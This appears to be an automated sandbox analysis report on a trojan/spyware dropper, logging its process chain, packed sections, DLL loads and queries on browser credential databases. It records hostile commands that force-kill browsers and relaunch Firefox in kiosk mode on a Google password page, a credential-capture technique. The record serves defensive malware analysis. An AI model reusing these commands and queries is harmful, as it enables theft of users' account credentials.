Source: skotes.exe.5.dr	Static PE information: Section: ZLIB complexity 0.998414083787466
Source: skotes.exe.5.dr	Static PE information: Section: axzfwsyi ZLIB complexity 0.9944146034015653
Source: random[1].exe.7.dr	Static PE information: Section: ZLIB complexity 0.9981325920846394
Source: bd73c9fe1b.exe.7.dr	Static PE information: Section: ZLIB complexity 0.9981325920846394
Source: random[1].exe0.7.dr	Static PE information: Section: lvyqwrnu ZLIB complexity 0.994952444617844
Source: b28f5af0b9.exe.7.dr	Static PE information: Section: lvyqwrnu ZLIB complexity 0.994952444617844
Source: 5EQND7K5L8HE276L.exe.8.dr	Static PE information: Section: ZLIB complexity 0.998414083787466
Source: 5EQND7K5L8HE276L.exe.8.dr	Static PE information: Section: axzfwsyi ZLIB complexity 0.9944146034015653

Source: b28f5af0b9.exe.7.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.7.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@74/22@78/11

Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe

Code function: 4_2_04B415D0 ChangeServiceConfigA,

4_2_04B415D0

Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CMI46CXL3718GGL9UBA.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2448:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2764:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4412:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3164:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3444:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2924:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4324:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4468:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: b28f5af0b9.exe, 0000000A.00000002.2581347390.000000000101E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT name, value FROM autofillM;
Source: b28f5af0b9.exe, 0000000A.00000002.2581347390.000000000101E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT url FROM moz_places LIMIT 1000a;
Source: file.exe, 00000000.00000003.1716877371.000000000522C000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460633885.000000000557C000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460144519.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

Virustotal: Detection: 51%

Source: CMI46CXL3718GGL9UBA.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: CMI46CXL3718GGL9UBA.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: S39605Y99PQJP70DBWYAE5A.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe "C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe "C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe"
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe "C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe "C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe "C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe "C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe"
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2256 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {282e8f47-e3e9-4c30-8f9f-bbd3739b8c96} 6148 "\\.\pipe\gecko-crash-server-pipe.6148" 295d4c69f10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe "C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002787001\num.exe "C:\Users\user\AppData\Local\Temp\1002787001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Process created: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe "C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe"
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Process created: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe "C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4256 -parentBuildID 20230927232528 -prefsHandle 1524 -prefMapHandle 3964 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b04b7a86-ba51-4722-9e22-cfe6bd8623fe} 6148 "\\.\pipe\gecko-crash-server-pipe.6148" 295e5656610 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe "C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe"
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002787001\num.exe "C:\Users\user\AppData\Local\Temp\1002787001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2efdec49-002f-4730-b0e0-9b27dcd2796d} 3964 "\\.\pipe\gecko-crash-server-pipe.3964" 1b29bc70f10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe "C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe "C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe "C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe "C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe "C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe "C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002787001\num.exe "C:\Users\user\AppData\Local\Temp\1002787001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Process created: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe "C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Process created: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe "C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2256 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {282e8f47-e3e9-4c30-8f9f-bbd3739b8c96} 6148 "\\.\pipe\gecko-crash-server-pipe.6148" 295d4c69f10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4256 -parentBuildID 20230927232528 -prefsHandle 1524 -prefMapHandle 3964 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b04b7a86-ba51-4722-9e22-cfe6bd8623fe} 6148 "\\.\pipe\gecko-crash-server-pipe.6148" 295e5656610 rdd
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2efdec49-002f-4730-b0e0-9b27dcd2796d} 3964 "\\.\pipe\gecko-crash-server-pipe.3964" 1b29bc70f10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: mpr.dll	Jump to behavior
